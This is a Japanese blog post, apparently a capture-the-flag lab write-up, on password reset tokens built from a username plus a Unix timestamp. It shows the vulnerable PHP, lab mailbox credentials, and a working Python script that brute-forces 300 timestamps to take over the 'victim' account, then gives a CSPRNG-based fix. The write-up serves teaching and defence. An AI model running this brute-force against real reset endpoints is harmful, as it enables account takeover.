0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】不十分なエントロピー(Entropy)が招く乱数生成の脆弱性

0
Last updated at Posted at 2026-01-08

はじめに

本手法では、乱数生成におけるエントロピー不足が引き起こす脆弱性を扱う。
エントロピーとは、システム内の予測不可能性(ランダム性) を指し、通常は以下のような要素から得られる。

  • ハードウェアノイズ
  • ユーザー操作(入力タイミング、マウス移動など)
  • OS が収集する環境情報

これらのエントロピーが弱い、あるいは不十分な場合、生成される乱数は「ランダムに見えるだけ」であり、実際には予測可能となる。その結果、攻撃者にとって格好の標的となる。


エントロピー(Entropy)とは何か

エントロピー(Entropy)とは、ある値がどれだけ予測困難であるかを示す尺度であり、暗号技術や乱数生成において極めて重要な概念である。

暗号分野におけるエントロピーは、次のように理解できる。

攻撃者が値を推測するために必要な試行回数の多さ

エントロピーが高いほど、生成される値は予測が困難になり、
エントロピーが低いほど、値は推測しやすくなる。

エントロピー不足がもたらす問題

たとえば、暗号鍵やトークンが以下のような低エントロピー情報から生成されている場合を考える。

  • UNIX タイムスタンプ
  • システム時刻
  • ユーザー名
  • 予測可能なユーザー入力

このような情報は、攻撃者にとって既知または推測可能であるため、探索空間が大幅に縮小される。結果として、ブルートフォースや総当たり攻撃が現実的になる。


実践シナリオ:パスワードリセットトークンの予測

本シナリオでは、弱いエントロピーに依存したトークン生成が、どのようにアカウント乗っ取りにつながるかを確認する。

対象環境

このアプリには以下の機能が存在する。

  • ログイン機能
  • パスワードリセット(リセットリンク送信)

今回のターゲットユーザーは victim である。


パスワードリセットの流れ

1.以下の URL にアクセス

http://random.thm:8090/case/forget_password.php

Screenshot 2026-01-08 at 16.01.46.png

2.ユーザー名 victim を入力し、「Send Reset Link」をクリック

Screenshot 2026-01-08 at 16.02.12.png

3.パスワードリセット用のリンクがメールで送信される

一見すると、よくあるパスワードリセット機能に見える。しかし、問題はサーバー側のトークン生成ロジックにある。


脆弱なトークン生成ロジック

以下が、リセットトークンを生成しているサーバー側コードである。

$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute([':username' => $user_id]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
    $token = $user_id . time();
    $update = $db->prepare(
        "UPDATE users SET reset_token = :token WHERE username = :username"
    );
}

何が問題なのか?

生成されるトークンは、単に次の2つを連結しただけである。

{ユーザー名} + {UNIXタイムスタンプ}

例:

victim1726644813

これは暗号学的な乱数ではない


メールからトークン形式を確認

メールサーバーに以下の認証情報でログインする。

  • メールアドレス:victim@mail.random.thm
  • パスワード:Testing@123

Screenshot 2026-01-08 at 16.03.32.png

そこには、パスワードリセットリンクが記載されたメールが届いている。
ここで攻撃者は、トークン形式と生成タイミングを把握できる。


攻撃の成立条件

攻撃者が知っている情報は以下である。

  • ユーザー名(victim)
  • トークン生成時刻は「今この瞬間付近」
  • トークンは username + time() 形式

つまり、探索すべき値は「数分間分のタイムスタンプ」だけでよい。


トークン総当たり攻撃(ブルートフォース)

以下は、指定した時刻から 5分前まで遡ってトークンを試行する Python スクリプトである。

import requests
import sys

def brute_force_token(username, start_timestamp):
    url = "http://random.thm:8090/case/reset_password.php"

    for i in range(-300, 0):
        current_timestamp = start_timestamp + i
        token = f"{username}{current_timestamp}"
        params = {'token': token}

        response = requests.get(url, params=params)

        if "Invalid or expired token." not in response.text:
            print(f"Correct token identified: {token}")
            return token
        else:
            print(f"Tried token: {token} (Invalid)")

    print("No valid token found.")
    return None

if len(sys.argv) != 3:
    print("Usage: python exploit.py <username> <unix_timestamp>")
    sys.exit(1)

username = sys.argv[1]
start_timestamp = int(sys.argv[2])

brute_force_token(username, start_timestamp)

攻撃の実行例

  1. パスワードリセットを再度実行
  2. https://www.unixtimestamp.com/ で現在時刻を取得
    例:1726645297
  3. AttackBox で以下を実行
python3 exploit.py victim 1726645297

出力例:

Screenshot 2026-01-08 at 16.14.57.png

正しいトークンを特定できたら、以下の URL にアクセスするだけでよい。

http://random.thm:8090/case/reset_password.php?token=victim1767855922

これにより、パスワードを自由に変更できる

Screenshot 2026-01-08 at 16.09.53.png


なぜこのトークンは弱いのか

1. エントロピーが極端に低い

  • ユーザー名:既知
  • タイムスタンプ:秒単位で予測可能

これは暗号学的なランダム性ではない。

2. 探索空間が非常に小さい

  • 1秒ごとに1通り
  • 5分なら 300通り
  • 数分で全探索可能

正しい対策

悪い例

$token = $username . time();

良い例

$token = bin2hex(random_bytes(32));
  • CSPRNG を使用
  • 十分な長さ(256bit 以上)
  • 推測不可能

まとめ

問題点 内容
エントロピー不足 時刻・ユーザー名に依存
予測可能性 攻撃者が生成ルールを理解可能
探索空間 極端に小さい
結果 アカウント乗っ取り

乱数が弱い=セキュリティが存在しない
これは誇張ではなく、現実である。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?